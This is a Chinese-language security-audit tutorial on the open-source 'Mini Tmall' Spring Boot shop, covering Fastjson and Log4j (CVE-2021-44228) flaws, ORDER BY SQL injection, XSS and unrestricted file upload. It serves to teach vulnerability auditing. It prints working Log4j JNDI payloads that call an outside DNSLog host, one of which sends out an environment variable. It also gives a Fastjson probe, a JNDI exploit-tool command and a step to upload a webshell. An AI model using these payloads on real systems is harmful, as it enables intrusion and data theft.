迷你天猫商城代码审计
迷你天猫商城代码审计
1.项目简介
迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。
环境
java:1.8
mysql:5.7.26
部署
创建tmalldemodb数据库,source tmalldemodb.sql导入sql文件
修改application.properties文件中的端口与数据库连接密码

admin/123456
2.代码审计与漏洞验证
组件漏洞
从 pom.xml 文件开始审计引入的第三方组件是否存在漏洞版本,然后进一步验证该组件是否存在漏洞点
https://mvnrepository.com/ 可从这里直接搜,可看到相应版本是否有一些已知漏洞
组件名称 | 组件版本 |
---|---|
SpringBoot | 2.1.6.RELEASE |
Fastjson | 1.2.58 |
Mysql | 5.1.47 |
Druid | 1.1.19 |
Taglibs | 1.2.5 |
Mybatis | 3.5.1 |
Log4j | 2.10.0 |
fastjson
Fastjson版本为1.2.58,该版本存在反序列化漏洞
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java对象之间相互转换。两个主要接口是JSON.toJSONString和JSON.parseObject/JSON.parse,分别实现序列化和反序列化操作
Fastjson反序列化漏洞简单来说是出现在将JSON数据反序列化过程中出现的漏洞。攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行
已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。关注两个函数 JSON.parse()和 JSON.parseObject()
审计
全局搜索发现项目中存在JSON.parseObject

ProductController.java中151行 反序列化了propertyJson参数
跟一下propertyJson参数。
发现漏洞触发点为添加产品信息接口,可控参数为产品属性
验证
使用burp抓取接口,找到响应的可控参数propertJson
decoder解码

为json格式的字符串
出网漏洞验证
dnslog地址:dnslog.org
74ae5a0e.log.dnslog.biz.
构造漏洞验证POC
{“@type”:”java.net.Inet4Address”,”val”:”666.74ae5a0e.log.dnslog.biz.”}
证明漏洞存在
其他漏洞验证poc:
1 |
|
log4j
本项目引入的Log4j版本为2.10.0,该版本存在远程代码执行漏洞 (CVE-2021-44228)
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码
由于Apache Log4j2
某些功能存在递归解析,攻击者可在未经身份验证的情况下构造发送带有攻击语句的数据请求包,最终造成在目标服务器上执行任意代码。其中涉及到的lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用
审计
该组件漏洞主要发生在引入的 log4j-core , log4j-api 是不存在该问题的。 log4j-core 是源码, log4j-api 是接口
pom.xml 文件引入Log4j组件情况如下图所示,引入了 log4j-core ,以及版本为 2.10.0 。基本确定存在问题,验证还需进一步寻找能触发的漏洞点。

全局搜索关键字 logger ,本项目使用 logger.info 级别记录日志方式居多

发现有几处日志记录拼接了变量参数 ,以获取图片原始文件名为例
发现漏洞触发点:com/xq/tmall/controller/admin/AccountController.java
管理员头像上传接口处 ,获取上传头像的图片原始文件名作为赋值给originalfilename
利用方式:访问管理员头像上传功能,将文件名改为攻击语句,即可触发Log4j漏洞
验证
漏洞利用详解:https://github.com/jas502n/Log4j2-CVE-2021-44228
出网漏洞验证
使用burp抓取头像上传接口
获取dnslog地址
ef880d2e.log.dnslog.biz.
构造漏洞验证POC: ${jndi:ldap://666.ef880d2e.log.dnslog.biz.}
放在filename字段测试:
验证成功 漏洞存在
出网外带信息验证
Log4j处理 ${} 是采用递归方式解析。也就是说有几个 ${} 表达式,就使用对应的Lookup解析几个。因此,我们可以配合使用DNSLog来进行信息外带。具体操作如下
攻击POC: ${jndi:ldap://${env:OS}.ef880d2e.log.dnslog.biz.}
将其粘贴到上传头像数据包中的filename处
jndi注入验证
利用工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
命令 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOTall.jar -C “calc” ( -C 远程class文件中要执行的命令。本例子为弹计算器 )
根据相应的环境选择poc
单点漏洞
对于单点功能代码审计除了特定漏洞存在特定代码审计方法,一般可先去看一遍Controller层代码,了解基本功能。再从功能出发进行代码审计
sql注入
本项目使用了Mybatis,来定义SQL。我们主要查看Myabatis中 xxxMapper.xml 文件中是否存在使用$ 拼接SQL语句的情况。使用 $ 是直接拼接SQL语句的,未进行转义。
审计
全局搜索关键字 $ ,确实存在几处 order by 使用了 $ 拼接SQL语句,因为 order by 是没办法使用 #{}的

下载free mybatis tool 可以点击绿色箭头快速从mapper.xml文件中跳转到相应的dao层代码处
来到dao层文件
继续追踪select–》service层
service接口–》controller层 userController.java
orderUtil对象有两个属性

sql语句中是根据orderutil的orderby参数来排序,所以关注orderby是如何传入的
漏洞触发点:
接口:按条件查询用户处 admin/user/{index}/{count}
可控参数:orderBy
验证
使用burp抓取接口测试,输入单引号,出现异常
测试语句(符号需要url编码):
https://govuln.com/tool/decoder/
1 |
|
其他测试语句
1.使用rand函数结果显示排序方式不同
1 |
|
2.利用regexp(正则表达式)
1 |
|
3.利用updatexml(更新选定XML片段的内容)
1 |
|
4.利用extractvalue(从目标XML中返回包含所查询值的字符串)
1 |
|
5.时间盲注
1 |
|
使用sqlmap
orderby参数处加*,保存为txt文件使用sqlmap进行测试
xss漏洞
审计
从开发视角来看防护XSS漏洞,大多是过滤/转义用户的输入和输出。对于开发人员来说,不可能对每一个输入和输出点进行过滤/转义。一般常使用filter层(过滤器)或拦截器进行统一过滤 ,或者所使用的前端框架自带防XSS机制 。所以,审计XSS漏洞第一步看看filter层是否存在XSS过滤代码。对本项目审计发现filter层并没有关于防护XSS的代码
filter中只做了权限校验相关的检测
第二步,看看使用的前端框架是什么,版本是多少,以及是否存在防XSS漏洞机制。经过一番查找,发现pom.xml和webapp文件下,都表明使用了传统的JSP。JSP大多配合Filter进行XSS防护,上述我们发现filter层并没有XSS防护机制
那么本项目应该存在xss漏洞
验证
见框就可尝试插xss


文件上传漏洞
对于代码审计任意文件上传漏洞来说,首先是看看是否存在文件上传功能,然后进一步审计是否存在任意文件上传漏洞。 或者搜索相关关键字,文件上传关键字如下:
1 |
|
对于 SpingBoot项目来说,想要SpringBoot内嵌的Tomcat对JSP解析,一定要引入相关依赖。如下图所示

对于很多SpringBoot项目来说,是无需引入解析JSP依赖的。那么对于任意文件上传漏洞来说,上传JSP木马肯定是没有办法解析的。对于任意文件上传漏洞利用,只能通过内存马等方式进行攻击了
审计
审计上述log4j漏洞处的管理员头像上传功能
直接提取上传文件后缀与生成的uuid拼接,对文件类型没有任何限制,并且上传到指定的目录中
用ai分析可能存在的问题:
存在任意文件上传漏洞
验证
直接上传冰蝎马验证